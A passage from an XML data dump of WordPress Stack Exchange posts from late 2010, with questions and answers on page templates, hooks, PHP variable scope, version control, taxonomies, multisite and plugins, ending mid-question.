  <row Id="4624" PostTypeId="2" ParentId="4620" CreationDate="2010-11-29T07:21:25.627" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Phil Brown:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually really easy (at least #1 and #2 are): &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use any URL that loads a theme template file. For example, you could create a WordPress &lt;em&gt;&quot;&lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;Page&lt;/a&gt;&quot;&lt;/em&gt; and in your &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page Template&lt;/strong&gt;&lt;/a&gt; you can use PHP's &lt;code&gt;$_POST&lt;/code&gt; array to capture your &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;  values.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unless you've got a good reason, you really don't need to do a redirect. You can, but I don't see that you need to and it just makes your task more complicated.  If you really want to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;this answer&lt;/strong&gt;&lt;/a&gt; will show you how.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm confused by what you are trying to accomplish with your &quot;&lt;code&gt;shops/%product%&lt;/code&gt;&quot; URL. At first blush your choice of &lt;em&gt;&quot;shops&quot;&lt;/em&gt; for a custom post type and &lt;em&gt;&quot;products&quot;&lt;/em&gt; for a taxonomy seems wrong to me &lt;em&gt;(unless you are trying to represent many different shops; i.e. if your site is trying to be a marketplace for many different merchants. Is that the case?  Even then, I still don't see why you'd use a taxonomy for your products.)&lt;/em&gt;  So it seems to me you'd instead want to create a custom post type of &lt;em&gt;&quot;Product&quot;&lt;/em&gt; *(though I'm not sure about the taxonomy)*, and then you'll get URLs of the type &lt;code&gt;products/%product%&lt;/code&gt; when you register you custom post type. Or maybe I misunderstand what you are trying to do for #3?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-29T07:21:25.627" CommentCount="2" />
  <row Id="4625" PostTypeId="2" ParentId="4587" CreationDate="2010-11-29T07:27:33.267" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Chris Cox:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, but I have a guess.  Are those two lines of code just listed off by themselves in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or are they wrapped in &lt;a href=&quot;http://funcdoc.wordpress.com/2008/01/07/writing-plugins-put-all-logic-in-functions/&quot; rel=&quot;nofollow&quot;&gt;an &lt;code&gt;'init'&lt;/code&gt; hook?&lt;/a&gt;  If not, or you don't know what I'm talking about then here's the code I think you need to include in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yourplugin_init');&#xA;function yourplugin_init() {&#xA;  add_action('bp_adminbar_menus', 'new_adminbar_blogs_menu', 6);&#xA;  remove_action('bp_adminbar_menus', 'bp_adminbar_blogs_menu', 6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-29T07:27:33.267" />
  <row Id="4626" PostTypeId="2" ParentId="4587" CreationDate="2010-11-29T07:42:31.077" Score="1" ViewCount="" Body="&lt;p&gt;BuddyPress has its own 'init' function, check the docs for that.&#xA;As Mike said your BuddyPress is loaded before your functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.buddypress.org/plugin-development/checking-buddypress-is-active/&quot; rel=&quot;nofollow&quot;&gt;http://codex.buddypress.org/plugin-development/checking-buddypress-is-active/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help you.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-11-29T07:42:31.077" />
  <row Id="4627" PostTypeId="2" ParentId="4574" CreationDate="2010-11-29T07:45:40.747" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Kemp:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are using WordPress v3.x &lt;em&gt;(as I don't remember how this works in earlier versions)&lt;/em&gt; this is what you need to do if starting from scratch:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;em&gt;&quot;&lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page&lt;/strong&gt;&lt;/a&gt;&quot;&lt;/em&gt; and call it &lt;em&gt;&quot;Home Page&quot; (or whatever.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create another Page and call it &lt;em&gt;&quot;Blog&quot; (or whatever.)&lt;/em&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the admin console select the &lt;em&gt;&quot;Settings&quot; &gt; &quot;Reading&quot;&lt;/em&gt; option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;em&gt;&quot;A static page&quot;&lt;/em&gt; for the &lt;em&gt;&quot;Front Page Displays&quot;&lt;/em&gt; radio button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign &lt;em&gt;&quot;Front Page&quot;&lt;/em&gt; to be &lt;em&gt;&quot;Home Page&quot; (or whatever from #1)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign &lt;em&gt;&quot;Posts Page&quot;&lt;/em&gt; to be &lt;em&gt;&quot;Blog&quot; (or whatever from #2)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;&quot;Save Changes&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot showing the admin console options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101129-024409.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-29T07:45:40.747" />
  <row Id="4628" PostTypeId="2" ParentId="4618" CreationDate="2010-11-29T09:52:58.300" Score="2" ViewCount="" Body="&lt;p&gt;You can make use of the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;add_query_arg() (Wordpress Function)&lt;/a&gt; to add an additional parameter to the query (or also called query-info) part of an URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$baseUrl = '...'; // the url you want to add your parameter to&#xA;$sort = '...'; // the sort parameter you have&#xA;$sortUrl = add_query_arg('sort', $sort, $baseUrl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-29T09:52:58.300" CommentCount="1" />
  <row Id="4629" PostTypeId="2" ParentId="4535" CreationDate="2010-11-29T10:12:09.203" Score="3" ViewCount="" Body="&lt;p&gt;Variables have a certain scope. The PHP Manual explains that &lt;a href=&quot;http://php.net/manual/en/language.variables.scope.php&quot; rel=&quot;nofollow&quot;&gt;in detail&lt;/a&gt;. So when you set a variable you should know in which scope those are set. This depends on where you set them and how that file gets included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Rarst already suggested, the function.php file is an ideal place as it gets included on the global space whenever your theme is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that, scope still applies. The &lt;code&gt;footer.php&lt;/code&gt; file for example normally is not included on the global scope. To access your variables therein - if you have set them globally - you can refer to the &lt;a href=&quot;http://php.net/manual/en/reserved.variables.globals.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$GLOBALS&lt;/code&gt; superglobal array&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This normally does it for some variables. If you have multiple, you might consider to attach all your variables to an array instead, so you have only one variable name in the global scope you need to refer to. This keeps things a bit more apart from each other which makes it easier in the long run. Because if you name your variables the same as existing variables, you will overwrite them. That can break things that are hard to debug.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;in function.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mytheme_config = array();&#xA;$mytheme_config['extra_footer_display'] = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in footer.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($GLOBALS['mytheme_config']['extra_footer_display']) {&#xA;    // executed when extra_footer_display is true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a very basic example, but it probably already does the job for you. I don't know your level of experience with PHP, but as you're starting probably, the links provided above you give you the basic understanding how this is working. Just keep in mind, that template parts are not loaded within the global scope so you need to reference global variables with the &lt;code&gt;$GLOBALS&lt;/code&gt; superglobal array to access them. &lt;code&gt;$GLOBALS&lt;/code&gt; is always referring to global variables regardless of the scope where it is accessed. &lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-29T10:12:09.203" CommentCount="1" />
  <row Id="4630" PostTypeId="1" AcceptedAnswerId="4632" CreationDate="2010-11-29T12:38:14.693" Score="0" ViewCount="133" Body="&lt;p&gt;I have a post having different links. I have to show number of clicks on each link.&#xA;Is there any link to show number of clicks on the link?&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2010-11-29T14:22:04.880" Title="Is there any plugin to show number of clicks on the link?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="4631" PostTypeId="1" AcceptedAnswerId="4644" CreationDate="2010-11-29T13:29:31.733" Score="4" ViewCount="172" Body="&lt;p&gt;i'm looking around for a solution since weeks and can't make anything work yet. the problem is that my server is running debian/lenny and it's not supporting the bundled gd_lib which i need for thumbnailing/cropping stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i could make use of imagick or imagemagick (package vs plugin). my question is: is there any way to replace the gd functions in media.php with the ones from imagick? AND is there a smarter way then modiyfing the media.php to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" LastActivityDate="2010-12-29T18:15:51.427" Title="is it possible to replace the use of gd_lib with imagick or ImageMagick?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;core&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" />
  <row Id="4632" PostTypeId="2" ParentId="4630" CreationDate="2010-11-29T14:22:04.880" Score="1" ViewCount="" Body="&lt;p&gt;WP-Click-Track&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-click-track/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-click-track/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The click tracker works in 2 modes:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Scans posts and rewrites them to include a tracking element&lt;/li&gt;&#xA;  &lt;li&gt;Enables users to create stand alone trackable links that can be embedded in posts or offsite.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-29T14:22:04.880" CommentCount="2" />
  <row Id="4633" PostTypeId="1" AcceptedAnswerId="4637" CreationDate="2010-11-29T14:27:35.157" Score="0" ViewCount="318" Body="&lt;p&gt;I've never used version control before, but I'm starting to work more collaboratively on WordPress plugins and themes and I think it would be a good idea to have a record of versions and updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress seems to favour SVN, but Git seems to be the new, cooler alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which version control do you use currently? And which system would you choose today if you were starting out in WP theme and plugin dev?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-29T20:49:58.203" Title="Should I use SVN or Git?" Tags="&lt;subversion&gt;&lt;git&gt;&lt;version-control&gt;" AnswerCount="6" FavoriteCount="5" />
  <row Id="4634" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T14:37:20.270" Score="0" ViewCount="" Body="&lt;p&gt;Mercurial - without no alternatives.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is technically advanced&lt;/li&gt;&#xA;&lt;li&gt;You can have private repository for free: &lt;a href=&quot;https://bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" LastActivityDate="2010-11-29T14:37:20.270" />
  <row Id="4635" PostTypeId="1" CreationDate="2010-11-29T14:52:01.777" Score="0" ViewCount="171" Body="&lt;p&gt;I have a custom taxonomy called &quot;Artists&quot; which has the taxonomy singular name set to &quot;Artist&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a post only has 1 artist I would like the label to be &quot;Artist&quot; instead of &quot;Artists&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I achieve this? My current code is below. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;        $taxo_text = &quot;&quot;;  &#xA;        $artists = get_the_term_list( $post-&amp;gt;ID, 'artists', &quot;&amp;lt;div class='grid_2 details'&amp;gt;&#xA;     &amp;lt;ul class='credits'&amp;gt; &amp;lt;li class='smallunderline'&amp;gt;Artists&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt; &quot;, '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;' );  &#xA;&#xA;        if ( '' != $artists ) {  &#xA;            $taxo_text .= $artists;  &#xA;        }  &#xA;&#xA;        if ( '' != $taxo_text ) {  &#xA;&#xA;        echo $taxo_text;  &#xA;&#xA;        } // endif  &#xA;&#xA;        ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-29T16:07:17.870" Title="Singular custom taxonomy label" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4636" PostTypeId="1" AcceptedAnswerId="4639" CreationDate="2010-11-29T15:14:37.303" Score="0" ViewCount="327" Body="&lt;p&gt;I am currently building a plugin and it doesn't know when a user is logged in. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;echo $current_user-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works when embedded on a template but not on a plugin? I have a custom database that depends on user_id, whenever I insert a record, user_id field always has a zero value while others have the correct one.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2010-11-29T18:16:38.170" Title="Will a plugin able to know is_user_logged_in?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="4637" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T15:22:14.037" Score="8" ViewCount="" Body="&lt;p&gt;I use Git for all my projects since it lets me work offline and that happens fairly often for me. Git can interface with SVN if you'd still like to use Git then push your plugins to WordPress.org.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nkuttler.de/post/using-git-for-wordpress-development/&quot; rel=&quot;nofollow&quot;&gt;http://www.nkuttler.de/post/using-git-for-wordpress-development/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hakre.wordpress.com/2010/09/28/git-rocks/&quot; rel=&quot;nofollow&quot;&gt;http://hakre.wordpress.com/2010/09/28/git-rocks/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-29T15:22:14.037" CommentCount="2" />
  <row Id="4638" PostTypeId="1" CreationDate="2010-11-29T15:26:52.520" Score="2" ViewCount="447" Body="&lt;p&gt;If you are familiar with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $pattern = get_shortcode_regex();&#xA;  preg_match('/'.$pattern.'/s', $posts[0]-&amp;gt;post_content, $matches);&#xA;  if (is_array($matches) &amp;amp;&amp;amp; $matches[2] == 'YOURSHORTCODE') {&#xA;    //shortcode is being used&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_shortcode_regex&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; website, but it does not work for nested shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to make it work for nested shortcodes?&lt;/p&gt;&#xA;" OwnerUserId="1737" LastActivityDate="2010-11-30T15:02:44.017" Title="Nested Shortcode Detection" Tags="&lt;shortcode&gt;&lt;regex&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4639" PostTypeId="2" ParentId="4636" CreationDate="2010-11-29T15:39:42.313" Score="1" ViewCount="" Body="&lt;p&gt;The $current_user global isn't setup until right before the 'init' action is called.  So any code using it shouldn't be fired until that action or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest using the get_current_user_id() method instead of getting the global directly.  &lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-29T15:39:42.313" CommentCount="5" />
  <row Id="4640" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T15:46:20.090" Score="0" ViewCount="" Body="&lt;p&gt;I use a blend of &lt;strong&gt;Mercurial&lt;/strong&gt; and &lt;strong&gt;SVN&lt;/strong&gt;.  I use Mercurial because I can maintain a local repository in addition a network repository that I can use to sync my multiple development machines and push updates to other developers in the community.  &lt;a href=&quot;http://code.google.com/&quot; rel=&quot;nofollow&quot;&gt;Google Code&lt;/a&gt; allows you to host open-source Mercurial and SVN repositories for free ... a great resource.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But SVN is the flavor of choice when working with WordPress plug-ins and themes that you want hosted in the official WordPress.org repository.  There are ways to interface Mercurial directly with SVN, but I don't necessarily want to push all of my changesets to repository.  So I develop locally, committing to my local repo.  Then I push at the end of the day/week/whatever to the Google Code repo.  Then, when I'm ready for a new version release, I export the project and dump it into the SVN repo on WordPress.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows me to keep my work separate from contributors' work separate from what is actually released as &quot;finished&quot; to the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on Windows, I highly recommend a GUI tool for using both systems.  &lt;a href=&quot;http://tortoisesvn.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;Tortoise SVN&lt;/a&gt; is fantastic, and &lt;a href=&quot;http://tortoisehg.bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;Tortoise Hg&lt;/a&gt; is a great port of the same for Mercurial.  I use both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I experimented with Git for a while, but personally I prefer GUI tools and I couldn't find one that I liked that would fit in my development routine.  GitGUI was OK, but a bit clunkier than the Tortoise tools I mentioned above.  And there are too many outstanding bugs and issues with &lt;a href=&quot;http://code.google.com/p/tortoisegit/&quot; rel=&quot;nofollow&quot;&gt;Tortoise Git&lt;/a&gt; for me to feel comfortable depending on it for version control.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-29T15:46:20.090" />
  <row Id="4641" PostTypeId="2" ParentId="4635" CreationDate="2010-11-29T16:07:17.870" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_terms()&lt;/code&gt;&lt;/a&gt; returns an array of the terms, and is used by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_term_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_term_list()&lt;/code&gt;&lt;/a&gt; to build the links. You can query it and count the number of returned terms. Since the result is cached, it won't query the database again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$artists = get_the_terms( $post-&amp;gt;ID, 'artists' );&#xA;if ( $artists ) {&#xA;    $artistsLabel = ( 1 == count( $artists ) ? 'Artist' : 'Artists' );&#xA;    $taxo_text .= get_the_term_list( $post-&amp;gt;ID, 'artists', &quot;&amp;lt;div class='grid_2 details'&amp;gt;&#xA; &amp;lt;ul class='credits'&amp;gt; &amp;lt;li class='smallunderline'&amp;gt;{$artistsLabel}&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt; &quot;, '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;' ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-29T16:07:17.870" CommentCount="2" />
  <row Id="4642" PostTypeId="1" AcceptedAnswerId="4656" CreationDate="2010-11-29T16:08:59.780" Score="1" ViewCount="388" Body="&lt;p&gt;I'm using the Multisite functionality of WordPress 3.0, and I have a network of sites built where I display one random post from one of the subsites on the main site's front page. I accomplish this, in part, by using the &lt;code&gt;switch_to_blog&lt;/code&gt; function from the old WPMU function list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until yesterday I could call a function that called &lt;code&gt;switch_to_blog&lt;/code&gt;, created an array, added the blog's name, the post details, the post thumbnail, etc. to the array, and then used &lt;code&gt;restore_current_blog&lt;/code&gt; to jump back to the main blog's context. Then I used that array to echo out the things I needed for that post I grabbed. It worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of a sudden, when I call &lt;code&gt;switch_to_blog&lt;/code&gt; and then from within that block I call &lt;code&gt;bloginfo()&lt;/code&gt; just to test it, it still echoes the name of the top level blog, and NOT the switched to blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that function completely deprecated and unworkable due to random bugs? Anyone have any insight or ideas to get around it, or do I need to write a custom &lt;code&gt;$wpdb-&amp;gt;get_results();&lt;/code&gt; query to get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-11-29T22:15:24.170" Title="Why would switch_to_blog stop working?" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;wpdb&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="4643" PostTypeId="1" CreationDate="2010-11-29T16:17:40.807" Score="0" ViewCount="80" Body="&lt;p&gt;I am considering using the &lt;a href=&quot;http://scribeseo.com/&quot; rel=&quot;nofollow&quot;&gt;Scribe SEO&lt;/a&gt; plugin however I was looking for some unbiased input.  Google has only turned up reviews and criticisms of questionable validity.  I am looking for input from anyone that has used it and can speak from experience, or anyone that is knowledgeable enough about how it works to comment intelligently about it.  Also I realize that no plugin is any substitute for good hands on SEO but there is only so much time in the day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Mods: I realize this is a subjective question but I'm hoping to get some quantifiable, objective responses.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-11-29T22:49:41.687" Title="Does the Scribe SEO Plugin Work Well?" Tags="&lt;plugins&gt;&lt;seo&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4644" PostTypeId="2" ParentId="4631" CreationDate="2010-11-29T16:52:04.963" Score="2" ViewCount="" Body="&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orangelab has built a plugin which can replace WP's use of GD with Imagemagick (provided it's already installed on your server - it's not included) for creation of all image sizes and thumbs, and even regenerate existing images too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone who cares about image fidelity, this is huge deal, as GD does not handle color profile preservation or conversion (resulting in horrible desaturation), and also ends up softening any image it converts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/imagemagick-engine/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/imagemagick-engine/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-11-29T16:52:04.963" CommentCount="2" />
  <row Id="4645" PostTypeId="2" ParentId="4619" CreationDate="2010-11-29T17:02:45.707" Score="3" ViewCount="" Body="&lt;p&gt;My suggestion for you would be to utilize the &lt;strong&gt;EXCELLENT&lt;/strong&gt; class created by Dimas which is called WP Alchemy. You can find it along with examples here:&#xA;&lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/wpalchemy-metabox/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Summary of WPAlchemy Metabox Class for Wordpress&quot;:&#xA;The WPAlchemy_MetaBox PHP class can be used to create WordPress meta boxes quickly. It will give you the flexibility you need as a developer, allowing you to quickly build custom meta boxes for your themes and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key Features and Benefits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Easy to learn and integrate: good&#xA;documentation and support is always&#xA;important (I use the code myself and&#xA;keep it up-to-date). Integration is&#xA;a snap, as simple as including the&#xA;class and using it.&lt;/li&gt;&#xA;&lt;li&gt;Easy setup code: some of the details&#xA;involved in saving, retrieving and&#xA;working with the meta data are&#xA;abstracted to ease development.&lt;/li&gt;&#xA;&lt;li&gt;Flexible usage: the class acts as an&#xA;aid for meta box development. By&#xA;design you can use the class&#xA;functions or your current&#xA;development practices, which ever&#xA;you feel most comfortable with for&#xA;your development.&lt;/li&gt;&#xA;&lt;li&gt;HTML and CSS separation: the HTML&#xA;and CSS for your meta boxes remain&#xA;separate from the core code, you can&#xA;design your meta boxes to your&#xA;liking, providing you the greatest&#xA;flexibility during development.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Defining a Meta Box is Easy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// include the class in your theme or plugin&#xA;include_once 'WPAlchemy/MetaBox.php';&#xA;&#xA;// include css to help style our custom meta boxes&#xA;if (is_admin()) wp_enqueue_style('custom_meta_css',TEMPLATEPATH . '/custom/meta.css');&#xA;&#xA;$custom_metabox = new WPAlchemy_MetaBox(array&#xA;(&#xA;    'id' =&amp;gt; '_custom_meta',&#xA;    'title' =&amp;gt; 'My Custom Meta',&#xA;    'template' =&amp;gt; TEMPLATEPATH . '/custom/meta.php'&#xA;));&#xA;enter code here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That’s it! The above code shows the basic definition needed to setup a custom meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to Use It&lt;/strong&gt;&#xA;All of the functions in this class are very WordPress friendly. If you are familiar with the WordPress Loop, you should have no problem using this class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working on your meta box template file (meta.php) there are a few variables available to you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post; // this is the current post, use $post-&amp;gt;ID for the current post ID&#xA;$metabox; // this is the meta box helper object&#xA;$mb; // same as $metabox, a shortcut instead of writing out $metabox&#xA;$meta; // this is the meta data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info can be found here: &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/wpalchemy-metabox/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-29T17:02:45.707" />
  <row Id="4646" PostTypeId="1" AcceptedAnswerId="4717" CreationDate="2010-11-29T17:15:17.950" Score="0" ViewCount="369" Body="&lt;p&gt;I created an author's page using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;  if(isset($_GET['author_name'])) :&#xA;  $curauth = get_userdatabylogin($author_name);&#xA;  else :&#xA;  $curauth = get_userdata(intval($author));&#xA;  endif;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then a standard loop, which displays all posts' titles published by that author. I'm trying to separate the display of the posts, according to the category they belong to (1, 2 or 3), so I tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat=1'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but then all my blog posts are displayed, not just that author's. Something is certainly wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to use a custom query when there is more than one loop per post, but given that just using a single standard query, with the &quot;cat&quot; filter isn't working, 